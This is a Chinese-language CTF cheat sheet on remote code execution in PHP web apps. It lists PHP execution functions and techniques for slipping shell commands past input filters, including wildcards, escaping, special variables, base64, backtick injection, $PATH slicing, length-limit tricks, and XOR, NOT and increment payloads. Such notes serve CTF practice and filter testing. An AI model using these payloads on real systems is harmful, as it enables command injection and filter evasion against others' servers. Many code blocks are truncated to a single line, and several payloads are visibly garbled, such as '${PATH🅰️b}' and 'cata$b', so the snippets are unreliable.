CTF中的RCE
rce:远程代码执行
成因:在 Web 应用开发中为了灵活性、简洁性等会让应用调用代码执行函数或系统命令执行函数处理,若应用对用户的输入过滤不严,容易产生远程代码执行漏洞或系统命令执行漏洞;
# 系统命令执行函数
system ():能将字符串作为 OS 命令执行,且返回命令执行结果;
exec ():能将字符串作为 OS 命令执行,但是只返回执行结果的最后一行 (约等于无回显);
shell_exec ():能将字符串作为 OS 命令执行
passthru ():能将字符串作为 OS 命令执行,只调用命令不返回任何结果,但把命令的运行结果原样输出到标准输出设备上;
popen ():打开进程文件指针
proc_open ():与 popen () 类似
pcntl_exec ():在当前进程空间执行指定程序;
反引号 :反引号 内的字符串会被解析为 OS 命令;
# 代码执行函数
PHP:eval (),assert (),preg_replace (),call_user_func (),call_user_func_array () 以及 array_map (),system, shell_exec, popen, passthru, proc_open 等。
Python:eval,exec,subprocess os.system commands.
Java:Java 里面没有类似于 php 中的 eval 函数可以直接将字符串转化为代码执行的函数。但是又反射机制,并且有各种基于反射机制的表达式引擎。ps:OGNL, SpEL, MVEL
这里详细说明一下 php,在 ctf 题目中最为常出现
eval ():将字符串作为 php 代码执行;
assert ():将字符串作为 php 代码执行;
preg_replace ():正则匹配替换字符串;
create_function ():主要创建匿名函数;
call_user_func ():回调函数,第一个参数为函数名,第二个参数为函数的参数;
call_user_func_array ():回调函数,第一个参数为函数名,第二个参数为函数参数的数组;
可变函数:若变量后有括号,该变量会被当做函数名为变量值 (前提是该变量值是存在的函数名) 的函数执行;
# rce 绕过
最简单的就是直接遇到 flag 字样就卡住,这时可以利用 * 来查找
意思就是可以是任何字符 cat /flag.php ----->cat /f
这里就会找到 f 打头,后面随意的文件名
# 即正则匹配绕过
1 | //如flag被过滤 |
# 


但在 ctf 中,有下面这样的理解即可


下面又是一大块内容
# 关键字绕过
# 空格绕过

# 转义绕过
利用 \ ’ " 进行转义
cat flag —> ca\t fl\ag
cat flag —> ca"t flag
cat flag —> ca’t flag
# 特殊变量绕过
我们可以使用 Linux 中的一些特殊变量进行绕过
$* $@ $x ${X} // 这里的 x 代表任意值
1 | ca$*t flag.php |
这些都是 shell 的特殊变量,也是可以用来绕过的,这种类型可以用在过滤了 cat 这种命令或者其他关键字符串上面使用。

1 | shell --> ls |
下面是对这个骚操作的解释
1 | shell --> cat ?la* |

# Base64 编码绕过
这个可以用在一些命令被过滤的情况下使用,比如说我们的 ls 命令被过滤了,那我们可以将 ls 这个命令编码
1 | echo 'ls' | base64 |
就是先把 ls 的内容 base64 加密后再解密输出出来,就是绕了一下加解密的过程来绕过
# 拼接法
这个的大概思路为,用两个参数来保存 flag 这个字符串的每个部分。大致如下
a=fl;b=ag;cata$b;
类似于这种。
过滤命令执行函数 (ノ*・ω・)ノ
内敛绕过
这个其实很简单,就是将反引号内的命令的输出作为输入执行。
payload:url?c=127.0.0.1;cat! ls
会抓取 ls 返回的所有文件内容。
内敛绕过还有其他的写法,比如下面:
echo $(ls);
?><?=`ls1;
?><?=$(ls);
使用其他函数
还记得我们前面讲的取代函数吗?和这个的思路一样,如果我们的执行命令函数被过滤的花花,我们就需要更换函数了
我们除了 shell_exec () 还可以用以下几种
system()
passthru()
exec()
popen()
proc_open()
pcntl_exec()
highlight_file()
# 读取文件
这里我们这样玩,我们除了 cat 可以显示文本内容以外,在 CTF 中我们还可以使用一下几个姿势
1 | curl file:///flag |
# 字符串长度限制 (ノ*・ω・)ノ
这个挺有意思的,在 CTF 中,题目可能会限制你输入的长度,如果说我们要绕过他的话,我们可以只用上文中的一些思想,我们直接看 payload
1 | cat flag |
首先是里面的一些命令
空格 \ : 这个其实是换行。
ls -t :按照时间将文本排序输出
ls -t > shell:将 ls -t 的输出储存到 shell 文件中
我们首先是用 touch 命令创建了几个文件,但是他们的文件名是我们的主要。我们使用两个 \ 的原因在于,第一个 \ 用于将后面的 \ 变成字符串,第二个 \ 是用来将后面的文本转换为字符串,以便用于后面的测试。
这样我们 shell 里面的样子应该是这样的:
1 | cat shell |
因为 \ 就是用来换行的,不然他们连在一起也无法被解析。
# $PATH (ノ*・ω・)ノ
这个是利用环境变量来达到截取字母绕过的目的。
这里我们可以举一个例子:
1 | echo $PATH |
Linux 中 ${PATH🅰️b} 我们可以理解为从 a 位开始截取,截取 b 个长度(/ 也算一位)
那我们对应这来的话就是这样的
/ o p t / j d k - 2 1 / b i n
0 1 2 3 4 5 6 7 8 9 10 11 12 13
比如说我们 echo $
那就表示,我们从 t 开始,往后截取两位数
输出: t/
但是这样可能也会出现一些没有的字母,但是我们需要那个字母的情况,这个时候我们可以自己取构造一个 PATH。
1 | export PATH=$PATH:/abcdefghijklmn/opq/rst/uvw/xyz/0123456789 |
我们直接将全部的字母和数字都放到环境变量中,需要的时候我们就用上面的那个方法进行构造 payload。、
有的题会没有回显
# 取反绕过
1 | //取反传参 |
# 异或绕过
1 | # 异或构造Python脚本 |
1 | //异或php脚本 |
1 | //简单例题,flag再phpinfo()中,需要执行php命令:phpinfo(); |
# 自增绕过
1 | //自增payload,assert($_POST[_]),命令传入_ |
# 黑名单绕过
1 | //变量拼接,如flag被过滤 |

# 回溯绕过
1 | //php正则的回溯次数大于1000000次时返回False |
# 无回显 RCE
1 | //无回显RCE,如exce()函数,可将执行结果输出到文件再访问文件执行以下命令后访问1.txt即可 |
参考文章
CTF 中的 RCE_rced 在 ctf 中是什么意思 - CSDN 博客
php 短标签,有三种方式:(用于 eval ("?>".$word); 这样的情况,用?> 闭合了前面的语句)
echo '123';?> #前提是开启配置参数short_open_tags=on